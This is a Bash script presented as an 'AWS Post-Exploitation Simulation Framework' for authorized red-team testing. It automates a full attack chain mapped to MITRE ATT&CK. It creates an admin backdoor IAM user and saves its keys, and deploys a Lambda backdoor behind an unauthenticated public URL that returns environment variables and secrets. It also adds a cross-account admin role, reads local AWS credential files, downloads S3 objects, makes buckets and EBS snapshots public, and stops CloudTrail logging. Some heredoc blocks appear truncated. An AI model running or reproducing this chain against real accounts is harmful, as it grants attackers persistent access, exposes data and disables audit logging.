#!/bin/bash ############################################################################### # AWS Post-Exploitation Simulation Framework (Bash) # MITRE ATT&CK Tactics: Persistence, Privilege Escalation, Defense Evasion, # Credential Access, Discovery, Lateral Movement, # Collection, Exfiltration, Impact # # WARNING: This is a simulation tool for authorized security testing only. # Use only in controlled lab environments with explicit authorization. ############################################################################### set -o pipefail # Color codes for output RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' NC='\033[0m' # No Color # Global variables TIMESTAMP=$(date +%Y%m%d_%H%M%S) LOG_FILE="aws_postsim_${TIMESTAMP}.log" ARTIFACTS_FILE="aws_artifacts_${TIMESTAMP}.json" AWS_REGION="${AWS_REGION:-us-east-1}" ACCOUNT_ID="" DRY_RUN=false OPERATION="" # Initialize artifacts tracking declare -A ARTIFACTS ARTIFACTS[iam_users]="" ARTIFACTS[iam_roles]="" ARTIFACTS[iam_policies]="" ARTIFACTS[access_keys]="" ARTIFACTS[lambda_functions]="" ARTIFACTS[s3_buckets]="" ARTIFACTS[ec2_instances]="" ARTIFACTS[security_groups]="" ARTIFACTS[snapshots]="" ARTIFACTS[secrets]="" ############################################################################### # Utility Functions ############################################################################### log() { local level=$1 shift local message="$@" local timestamp=$(date '+%Y-%m-%d %H:%M:%S') local log_entry="[${timestamp}] [${level}] ${message}" case $level in ERROR) echo -e "${RED}${log_entry}${NC}" ;; SUCCESS) echo -e "${GREEN}${log_entry}${NC}" ;; WARNING) echo -e "${YELLOW}${log_entry}${NC}" ;; INFO) echo -e "${BLUE}${log_entry}${NC}" ;; *) echo "${log_entry}" ;; esac echo "${log_entry}" >> "${LOG_FILE}" } banner() { echo -e "${GREEN}" cat << "EOF" ╔═══════════════════════════════════════════════════════════╗ ║ AWS Post-Exploitation Simulation Framework v1.0 ║ ║ Red Team Training & Detection Validation Tool ║ ║ MITRE ATT&CK Cloud Tactics Simulator ║ ╚═══════════════════════════════════════════════════════════╝ EOF echo -e "${NC}" } check_dependencies() { log INFO "Checking dependencies..." local deps=("aws" "jq" "curl") for dep in "${deps[@]}"; do if ! command -v "$dep" &> /dev/null; then log ERROR "Required dependency not found: $dep" log INFO "Install with: apt-get install awscli jq curl" exit 1 fi done log SUCCESS "All dependencies found" } get_account_id() { log INFO "Retrieving AWS Account ID..." ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text 2>/dev/null) if [ -z "$ACCOUNT_ID" ]; then log ERROR "Failed to retrieve AWS Account ID. Check credentials." exit 1 fi log SUCCESS "Account ID: ${ACCOUNT_ID}" } save_artifacts() { log INFO "Saving artifacts to ${ARTIFACTS_FILE}..." local json_output="{" json_output+="\"timestamp\":\"${TIMESTAMP}\"," json_output+="\"account_id\":\"${ACCOUNT_ID}\"," json_output+="\"region\":\"${AWS_REGION}\"," for key in "${!ARTIFACTS[@]}"; do local value="${ARTIFACTS[$key]}" if [ -n "$value" ]; then json_output+="\"${key}\":[" # Convert comma-separated values to JSON array IFS=',' read -ra items <<< "$value" for i in "${!items[@]}"; do json_output+="\"${items[$i]}\"" if [ $i -lt $((${#items[@]} - 1)) ]; then json_output+="," fi done json_output+="]," else json_output+="\"${key}\":[]," fi done json_output="${json_output%,}}" echo "$json_output" | jq '.' > "${ARTIFACTS_FILE}" log SUCCESS "Artifacts saved to ${ARTIFACTS_FILE}" } ############################################################################### # T1098 - Account Manipulation (Persistence) ############################################################################### create_backdoor_user() { log INFO "=== T1098: Account Manipulation - Creating Backdoor User ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would create backdoor IAM user" return fi local username="system-backup-svc-${TIMESTAMP}" log INFO "Creating IAM user: ${username}" if aws iam create-user \ --user-name "${username}" \ --tags Key=Purpose,Value=BackupService Key=CreatedBy,Value=AutomatedProcess \ 2>> "${LOG_FILE}"; then ARTIFACTS[iam_users]+="${username}," log SUCCESS "Created backdoor user: ${username}" # Create access key log INFO "Creating access key for ${username}..." local key_output=$(aws iam create-access-key --user-name "${username}" --output json) if [ $? -eq 0 ]; then local access_key_id=$(echo "$key_output" | jq -r '.AccessKey.AccessKeyId') local secret_key=$(echo "$key_output" | jq -r '.AccessKey.SecretAccessKey') ARTIFACTS[access_keys]+="${username}:${access_key_id}," # Save credentials local creds_file="backdoor_creds_${username}.json" cat > "${creds_file}" <> "${LOG_FILE}"; then log SUCCESS "Attached AdministratorAccess to ${username}" else log ERROR "Failed to attach policy" fi else log ERROR "Failed to create access key" fi else log ERROR "Failed to create backdoor user" fi } ############################################################################### # T1078.004 - Valid Accounts: Cloud Accounts (Persistence) ############################################################################### create_lambda_backdoor() { log INFO "=== T1078.004: Lambda Backdoor for Persistence ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would create Lambda backdoor" return fi local role_name="lambda-backup-exec-${TIMESTAMP}" local function_name="system-health-check-${TIMESTAMP}" # Create IAM role for Lambda log INFO "Creating Lambda execution role: ${role_name}" local trust_policy=$(cat <> "${LOG_FILE}") if [ $? -eq 0 ]; then ARTIFACTS[iam_roles]+="${role_name}," log SUCCESS "Created role: ${role_name}" # Attach policies aws iam attach-role-policy \ --role-name "${role_name}" \ --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \ 2>> "${LOG_FILE}" # Wait for role to propagate sleep 10 # Create Lambda function with reverse shell payload log INFO "Creating Lambda function: ${function_name}" local lambda_code=$(cat <<'EOF' import json import boto3 import os def lambda_handler(event, context): """ Backdoor Lambda function for post-exploitation Can be triggered to execute arbitrary commands """ # Command execution capability command = event.get('command', 'whoami') if command == 'exfil_env': # Exfiltrate environment variables and credentials return { 'statusCode': 200, 'body': json.dumps({ 'environment': dict(os.environ), 'identity': boto3.client('sts').get_caller_identity() }) } elif command == 'list_secrets': # List secrets in Secrets Manager sm = boto3.client('secretsmanager') secrets = sm.list_secrets() return { 'statusCode': 200, 'body': json.dumps(secrets) } elif command == 'enumerate_s3': # Enumerate S3 buckets s3 = boto3.client('s3') buckets = s3.list_buckets() return { 'statusCode': 200, 'body': json.dumps(buckets) } return { 'statusCode': 200, 'body': json.dumps('Backdoor active') } EOF ) # Create deployment package local temp_dir=$(mktemp -d) echo "$lambda_code" > "${temp_dir}/lambda_function.py" cd "${temp_dir}" zip -q lambda.zip lambda_function.py # Deploy Lambda if aws lambda create-function \ --function-name "${function_name}" \ --runtime python3.11 \ --role "${role_arn}" \ --handler lambda_function.lambda_handler \ --zip-file fileb://lambda.zip \ --timeout 60 \ --memory-size 256 \ --description "System health monitoring function" \ 2>> "${LOG_FILE}"; then ARTIFACTS[lambda_functions]+="${function_name}," log SUCCESS "Lambda backdoor deployed: ${function_name}" # Create URL for remote access (T1071.001 - Web Protocols) log INFO "Creating Function URL for remote access..." local func_url=$(aws lambda create-function-url-config \ --function-name "${function_name}" \ --auth-type NONE \ --query 'FunctionUrl' \ --output text 2>> "${LOG_FILE}") if [ $? -eq 0 ]; then log SUCCESS "Lambda URL: ${func_url}" echo "${func_url}" > "lambda_backdoor_url_${function_name}.txt" fi else log ERROR "Failed to create Lambda function" fi cd - > /dev/null rm -rf "${temp_dir}" else log ERROR "Failed to create Lambda role" fi } ############################################################################### # T1552.005 - Cloud Instance Metadata API (Credential Access) ############################################################################### enumerate_iam_permissions() { log INFO "=== T1552.005: Enumerating Current IAM Permissions ===" local identity=$(aws sts get-caller-identity --output json 2>/dev/null) if [ $? -eq 0 ]; then log SUCCESS "Current Identity:" echo "$identity" | jq '.' | tee -a "${LOG_FILE}" local user_arn=$(echo "$identity" | jq -r '.Arn') local username=$(echo "$user_arn" | awk -F'/' '{print $NF}') # Try to enumerate attached policies log INFO "Enumerating attached policies..." aws iam list-attached-user-policies --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}" # List access keys log INFO "Enumerating access keys..." aws iam list-access-keys --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}" else log ERROR "Failed to get identity information" fi } ############################################################################### # T1087.004 - Account Discovery: Cloud Account (Discovery) ############################################################################### discover_cloud_environment() { log INFO "=== T1087.004: Cloud Environment Discovery ===" log INFO "Discovering IAM Users..." aws iam list-users --output json 2>/dev/null | jq '.Users[] | {UserName, UserId, CreateDate, Arn}' | tee -a "${LOG_FILE}" log INFO "Discovering IAM Roles..." aws iam list-roles --output json 2>/dev/null | jq '.Roles[] | {RoleName, RoleId, CreateDate}' | head -20 | tee -a "${LOG_FILE}" log INFO "Discovering EC2 Instances..." aws ec2 describe-instances --output json 2>/dev/null | \ jq '.Reservations[].Instances[] | {InstanceId, InstanceType, State: .State.Name, PrivateIpAddress, PublicIpAddress}' | \ tee -a "${LOG_FILE}" log INFO "Discovering S3 Buckets..." aws s3api list-buckets --output json 2>/dev/null | jq '.Buckets[] | {Name, CreationDate}' | tee -a "${LOG_FILE}" log INFO "Discovering Lambda Functions..." aws lambda list-functions --output json 2>/dev/null | \ jq '.Functions[] | {FunctionName, Runtime, Role, LastModified}' | \ tee -a "${LOG_FILE}" log INFO "Discovering Security Groups..." aws ec2 describe-security-groups --output json 2>/dev/null | \ jq '.SecurityGroups[] | {GroupId, GroupName, VpcId}' | \ tee -a "${LOG_FILE}" } ############################################################################### # T1530 - Data from Cloud Storage Object (Collection) ############################################################################### exfiltrate_s3_data() { log INFO "=== T1530: S3 Data Exfiltration Simulation ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would enumerate and exfiltrate S3 data" return fi local exfil_dir="exfiltrated_data_${TIMESTAMP}" mkdir -p "${exfil_dir}" log INFO "Enumerating accessible S3 buckets..." local buckets=$(aws s3api list-buckets --query 'Buckets[].Name' --output text 2>/dev/null) if [ -z "$buckets" ]; then log WARNING "No S3 buckets found or access denied" return fi for bucket in $buckets; do log INFO "Attempting to list contents of: ${bucket}" # Try to list objects local objects=$(aws s3api list-objects-v2 \ --bucket "${bucket}" \ --max-items 5 \ --output json 2>/dev/null) if [ $? -eq 0 ]; then log SUCCESS "Access granted to bucket: ${bucket}" echo "$objects" > "${exfil_dir}/${bucket}_contents.json" # Attempt to download first few files (limited simulation) echo "$objects" | jq -r '.Contents[]?.Key' | head -3 | while read -r key; do if [ -n "$key" ]; then log INFO "Downloading: s3://${bucket}/${key}" aws s3 cp "s3://${bucket}/${key}" "${exfil_dir}/${bucket}_$(basename ${key})" 2>> "${LOG_FILE}" || true fi done else log WARNING "Access denied to bucket: ${bucket}" fi done log SUCCESS "Exfiltration simulation complete. Data in: ${exfil_dir}" } ############################################################################### # T1078.004 - Create Exfiltration S3 Bucket (Exfiltration) ############################################################################### create_exfil_bucket() { log INFO "=== T1537: S3 Exfiltration Bucket Creation ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would create exfiltration S3 bucket" return fi local bucket_name="backup-logs-${ACCOUNT_ID}-${TIMESTAMP}" log INFO "Creating exfiltration bucket: ${bucket_name}" if aws s3api create-bucket \ --bucket "${bucket_name}" \ --region "${AWS_REGION}" \ $([ "$AWS_REGION" != "us-east-1" ] && echo "--create-bucket-configuration LocationConstraint=${AWS_REGION}") \ 2>> "${LOG_FILE}"; then ARTIFACTS[s3_buckets]+="${bucket_name}," log SUCCESS "Created exfiltration bucket: ${bucket_name}" # Make bucket publicly accessible (simulating data leak) log INFO "Configuring bucket for exfiltration..." # Disable block public access aws s3api put-public-access-block \ --bucket "${bucket_name}" \ --public-access-block-configuration \ "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false" \ 2>> "${LOG_FILE}" # Add bucket policy for public read local bucket_policy=$(cat <> "${LOG_FILE}" log SUCCESS "Exfiltration bucket configured: s3://${bucket_name}" echo "s3://${bucket_name}" > "exfil_bucket_${bucket_name}.txt" else log ERROR "Failed to create exfiltration bucket" fi } ############################################################################### # T1528 - Steal Application Access Token (Credential Access) ############################################################################### harvest_credentials() { log INFO "=== T1528: Credential Harvesting Simulation ===" local creds_file="harvested_credentials_${TIMESTAMP}.txt" log INFO "Harvesting AWS credentials from environment..." { echo "=== Environment Variables ===" env | grep -i "AWS\|SECRET\|KEY\|TOKEN\|PASS" || echo "No AWS credentials in environment" echo -e "\n=== AWS Config Files ===" if [ -f ~/.aws/credentials ]; then echo "Found: ~/.aws/credentials" cat ~/.aws/credentials 2>/dev/null || echo "Access denied" fi if [ -f ~/.aws/config ]; then echo "Found: ~/.aws/config" cat ~/.aws/config 2>/dev/null || echo "Access denied" fi echo -e "\n=== Current Session Token ===" aws sts get-session-token --output json 2>/dev/null || echo "Failed to get session token" } | tee "${creds_file}" >> "${LOG_FILE}" log SUCCESS "Credentials harvested to: ${creds_file}" } ############################################################################### # T1562.008 - Impair Defenses: Disable Cloud Logs (Defense Evasion) ############################################################################### disable_cloudtrail() { log INFO "=== T1562.008: CloudTrail Logging Disruption ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would disable CloudTrail logging" return fi log INFO "Enumerating CloudTrail trails..." local trails=$(aws cloudtrail describe-trails --query 'trailList[].Name' --output text 2>/dev/null) if [ -z "$trails" ]; then log WARNING "No CloudTrail trails found" return fi for trail in $trails; do log INFO "Attempting to stop trail: ${trail}" if aws cloudtrail stop-logging --name "${trail}" 2>> "${LOG_FILE}"; then log SUCCESS "Stopped logging for trail: ${trail}" ARTIFACTS[cloudtrail]+="${trail}," else log ERROR "Failed to stop trail: ${trail}" fi done } ############################################################################### # T1485 - Data Destruction (Impact) ############################################################################### create_snapshot_backdoor() { log INFO "=== T1537: EBS Snapshot for Data Exfiltration ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would create public EBS snapshots" return fi log INFO "Enumerating EBS volumes..." local volumes=$(aws ec2 describe-volumes \ --query 'Volumes[?State==`in-use`].VolumeId' \ --output text 2>/dev/null | head -1) if [ -z "$volumes" ]; then log WARNING "No active EBS volumes found" return fi for volume in $volumes; do log INFO "Creating snapshot of volume: ${volume}" local snapshot_id=$(aws ec2 create-snapshot \ --volume-id "${volume}" \ --description "Backup snapshot for disaster recovery" \ --query 'SnapshotId' \ --output text 2>> "${LOG_FILE}") if [ $? -eq 0 ]; then ARTIFACTS[snapshots]+="${snapshot_id}," log SUCCESS "Created snapshot: ${snapshot_id}" # Wait for snapshot to complete log INFO "Waiting for snapshot to complete..." aws ec2 wait snapshot-completed --snapshot-ids "${snapshot_id}" 2>> "${LOG_FILE}" # Make snapshot public (T1537 - Transfer Data to Cloud Account) log INFO "Making snapshot public for exfiltration..." if aws ec2 modify-snapshot-attribute \ --snapshot-id "${snapshot_id}" \ --attribute createVolumePermission \ --operation-type add \ --group-names all \ 2>> "${LOG_FILE}"; then log SUCCESS "Snapshot ${snapshot_id} is now public" fi else log ERROR "Failed to create snapshot" fi done } ############################################################################### # T1053.007 - Scheduled Task/Job: Container Orchestration Job (Persistence) ############################################################################### create_secrets_backdoor() { log INFO "=== T1555.004: Secrets Manager Backdoor Creation ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would create backdoor secret" return fi local secret_name="prod/database/backup-credentials-${TIMESTAMP}" log INFO "Creating backdoor secret: ${secret_name}" local secret_value=$(cat <> "${LOG_FILE}"; then ARTIFACTS[secrets]+="${secret_name}," log SUCCESS "Created backdoor secret: ${secret_name}" else log ERROR "Failed to create secret" fi } ############################################################################### # T1136.003 - Create Account: Cloud Account (Persistence) ############################################################################### create_assume_role_backdoor() { log INFO "=== T1136.003: Cross-Account Assume Role Backdoor ===" if [ "$DRY_RUN" = true ]; then log WARNING "[DRY RUN] Would create cross-account assume role" return fi local role_name="cross-account-backup-${TIMESTAMP}" # Create role that can be assumed from another account (attacker-controlled) local trust_policy=$(cat <> "${LOG_FILE}"; then ARTIFACTS[iam_roles]+="${role_name}," log SUCCESS "Created assume role backdoor: ${role_name}" # Attach admin policy aws iam attach-role-policy \ --role-name "${role_name}" \ --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \ 2>> "${LOG_FILE}" log SUCCESS "Attached AdministratorAccess to ${role_name}" log INFO "External account 123456789012 can now assume this role" else log ERROR "Failed to create assume role" fi } ############################################################################### # Cleanup Functions ############################################################################### cleanup_iam_users() { log INFO "Cleaning up IAM users..." if [ -z "${ARTIFACTS[iam_users]}" ]; then log INFO "No IAM users to clean up" return fi IFS=',' read -ra users <<< "${ARTIFACTS[iam_users]}" for user in "${users[@]}"; do if [ -n "$user" ]; then log INFO "Deleting IAM user: ${user}" # Delete access keys local keys=$(aws iam list-access-keys --user-name "${user}" --query 'AccessKeyMetadata[].AccessKeyId' --output text 2>/dev/null) for key in $keys; do aws iam delete-access-key --user-name "${user}" --access-key-id "${key}" 2>> "${LOG_FILE}" log INFO "Deleted access key: ${key}" done # Detach policies local policies=$(aws iam list-attached-user-policies --user-name "${user}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null) for policy in $policies; do aws iam detach-user-policy --user-name "${user}" --policy-arn "${policy}" 2>> "${LOG_FILE}" log INFO "Detached policy: ${policy}" done # Delete user if aws iam delete-user --user-name "${user}" 2>> "${LOG_FILE}"; then log SUCCESS "Deleted user: ${user}" else log ERROR "Failed to delete user: ${user}" fi fi done } cleanup_iam_roles() { log INFO "Cleaning up IAM roles..." if [ -z "${ARTIFACTS[iam_roles]}" ]; then log INFO "No IAM roles to clean up" return fi IFS=',' read -ra roles <<< "${ARTIFACTS[iam_roles]}" for role in "${roles[@]}"; do if [ -n "$role" ]; then log INFO "Deleting IAM role: ${role}" # Detach policies local policies=$(aws iam list-attached-role-policies --role-name "${role}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null) for policy in $policies; do aws iam detach-role-policy --role-name "${role}" --policy-arn "${policy}" 2>> "${LOG_FILE}" log INFO "Detached policy: ${policy}" done # Delete role if aws iam delete-role --role-name "${role}" 2>> "${LOG_FILE}"; then log SUCCESS "Deleted role: ${role}" else log ERROR "Failed to delete role: ${role}" fi fi done } cleanup_lambda_functions() { log INFO "Cleaning up Lambda functions..." if [ -z "${ARTIFACTS[lambda_functions]}" ]; then log INFO "No Lambda functions to clean up" return fi IFS=',' read -ra functions <<< "${ARTIFACTS[lambda_functions]}" for func in "${functions[@]}"; do if [ -n "$func" ]; then log INFO "Deleting Lambda function: ${func}" # Delete function URL config if exists aws lambda delete-function-url-config --function-name "${func}" 2>/dev/null # Delete function if aws lambda delete-function --function-name "${func}" 2>> "${LOG_FILE}"; then log SUCCESS "Deleted function: ${func}" else log ERROR "Failed to delete function: ${func}" fi fi done } cleanup_s3_buckets() { log INFO "Cleaning up S3 buckets..." if [ -z "${ARTIFACTS[s3_buckets]}" ]; then log INFO "No S3 buckets to clean up" return fi IFS=',' read -ra buckets <<< "${ARTIFACTS[s3_buckets]}" for bucket in "${buckets[@]}"; do if [ -n "$bucket" ]; then log INFO "Deleting S3 bucket: ${bucket}" # Empty bucket first aws s3 rm "s3://${bucket}" --recursive 2>> "${LOG_FILE}" # Delete bucket if aws s3api delete-bucket --bucket "${bucket}" 2>> "${LOG_FILE}"; then log SUCCESS "Deleted bucket: ${bucket}" else log ERROR "Failed to delete bucket: ${bucket}" fi fi done } cleanup_snapshots() { log INFO "Cleaning up EBS snapshots..." if [ -z "${ARTIFACTS[snapshots]}" ]; then log INFO "No snapshots to clean up" return fi IFS=',' read -ra snapshots <<< "${ARTIFACTS[snapshots]}" for snapshot in "${snapshots[@]}"; do if [ -n "$snapshot" ]; then log INFO "Deleting snapshot: ${snapshot}" if aws ec2 delete-snapshot --snapshot-id "${snapshot}" 2>> "${LOG_FILE}"; then log SUCCESS "Deleted snapshot: ${snapshot}" else log ERROR "Failed to delete snapshot: ${snapshot}" fi fi done } cleanup_secrets() { log INFO "Cleaning up Secrets Manager secrets..." if [ -z "${ARTIFACTS[secrets]}" ]; then log INFO "No secrets to clean up" return fi IFS=',' read -ra secrets <<< "${ARTIFACTS[secrets]}" for secret in "${secrets[@]}"; do if [ -n "$secret" ]; then log INFO "Deleting secret: ${secret}" if aws secretsmanager delete-secret \ --secret-id "${secret}" \ --force-delete-without-recovery \ 2>> "${LOG_FILE}"; then log SUCCESS "Deleted secret: ${secret}" else log ERROR "Failed to delete secret: ${secret}" fi fi done } cleanup_cloudtrail() { log INFO "Re-enabling CloudTrail logging..." if [ -z "${ARTIFACTS[cloudtrail]}" ]; then log INFO "No CloudTrail trails to re-enable" return fi IFS=',' read -ra trails <<< "${ARTIFACTS[cloudtrail]}" for trail in "${trails[@]}"; do if [ -n "$trail" ]; then log INFO "Re-enabling trail: ${trail}" if aws cloudtrail start-logging --name "${trail}" 2>> "${LOG_FILE}"; then log SUCCESS "Re-enabled trail: ${trail}" else log ERROR "Failed to re-enable trail: ${trail}" fi fi done } cleanup_all() { log INFO "=========================================" log INFO "Starting cleanup of all artifacts..." log INFO "=========================================" # Load artifacts from file if it exists if [ -f "${ARTIFACTS_FILE}" ]; then log INFO "Loading artifacts from ${ARTIFACTS_FILE}" ARTIFACTS[iam_users]=$(jq -r '.iam_users[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) ARTIFACTS[iam_roles]=$(jq -r '.iam_roles[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) ARTIFACTS[lambda_functions]=$(jq -r '.lambda_functions[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) ARTIFACTS[s3_buckets]=$(jq -r '.s3_buckets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) ARTIFACTS[snapshots]=$(jq -r '.snapshots[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) ARTIFACTS[secrets]=$(jq -r '.secrets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) ARTIFACTS[cloudtrail]=$(jq -r '.cloudtrail[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null) fi cleanup_lambda_functions cleanup_iam_users cleanup_iam_roles cleanup_s3_buckets cleanup_snapshots cleanup_secrets cleanup_cloudtrail log SUCCESS "=========================================" log SUCCESS "Cleanup complete!" log SUCCESS "=========================================" } ############################################################################### # Main Exploitation Chain ############################################################################### run_exploitation() { log INFO "=========================================" log INFO "Starting AWS Post-Exploitation Simulation" log INFO "=========================================" # T1087.004 - Discovery discover_cloud_environment # T1552.005 - Credential Access enumerate_iam_permissions harvest_credentials # T1098 - Persistence via IAM User create_backdoor_user # T1078.004 - Persistence via Lambda create_lambda_backdoor # T1136.003 - Persistence via Cross-Account Role create_assume_role_backdoor # T1555.004 - Secrets Manager Backdoor create_secrets_backdoor # T1537 - Exfiltration via S3 create_exfil_bucket exfiltrate_s3_data # T1537 - Exfiltration via Snapshots create_snapshot_backdoor # T1562.008 - Defense Evasion disable_cloudtrail save_artifacts log SUCCESS "=========================================" log SUCCESS "Exploitation simulation complete!" log SUCCESS "Log file: ${LOG_FILE}" log SUCCESS "Artifacts: ${ARTIFACTS_FILE}" log SUCCESS "=========================================" } ############################################################################### # Usage and Main ############################################################################### usage() { cat << EOF Usage: $0 [OPTIONS] --operation AWS Post-Exploitation Simulation Framework OPTIONS: -o, --operation Operation mode (required) -r, --region AWS region (default: us-east-1) -p, --profile AWS CLI profile to use -d, --dry-run Simulate actions without execution -a, --artifacts Artifacts file for cleanup -h, --help Show this help message OPERATIONS: exploit Run full post-exploitation simulation cleanup Clean up all created artifacts EXAMPLES: # Run exploitation simulation $0 --operation exploit --region us-west-2 # Dry run to see what would be executed $0 --operation exploit --dry-run # Clean up all artifacts $0 --operation cleanup --artifacts aws_artifacts_20260131_120000.json # Use specific AWS profile $0 --operation exploit --profile red-team --region eu-west-1 MITRE ATT&CK TECHNIQUES SIMULATED: T1098 - Account Manipulation T1078.004 - Valid Accounts: Cloud Accounts T1087.004 - Account Discovery: Cloud Account T1136.003 - Create Account: Cloud Account T1528 - Steal Application Access Token T1530 - Data from Cloud Storage Object T1537 - Transfer Data to Cloud Account T1552.005 - Unsecured Credentials: Cloud Instance Metadata API T1555.004 - Credentials from Password Stores: Cloud Secrets Management T1562.008 - Impair Defenses: Disable Cloud Logs EOF } main() { banner # Parse arguments while [[ $# -gt 0 ]]; do case $1 in -o|--operation) OPERATION="$2" shift 2 ;; -r|--region) AWS_REGION="$2" export AWS_DEFAULT_REGION="$2" shift 2 ;; -p|--profile) export AWS_PROFILE="$2" shift 2 ;; -d|--dry-run) DRY_RUN=true shift ;; -a|--artifacts) ARTIFACTS_FILE="$2" shift 2 ;; -h|--help) usage exit 0 ;; *) log ERROR "Unknown option: $1" usage exit 1 ;; esac done # Validate operation if [ -z "$OPERATION" ]; then log ERROR "Operation is required" usage exit 1 fi if [ "$OPERATION" != "exploit" ] && [ "$OPERATION" != "cleanup" ]; then log ERROR "Invalid operation: $OPERATION" usage exit 1 fi # Check dependencies check_dependencies # Get AWS account info get_account_id # Execute operation case $OPERATION in exploit) if [ "$DRY_RUN" = true ]; then log WARNING "DRY RUN MODE - No changes will be made" fi run_exploitation ;; cleanup) cleanup_all ;; esac log INFO "Operation completed. Review ${LOG_FILE} for details." } # Run main function main "$@"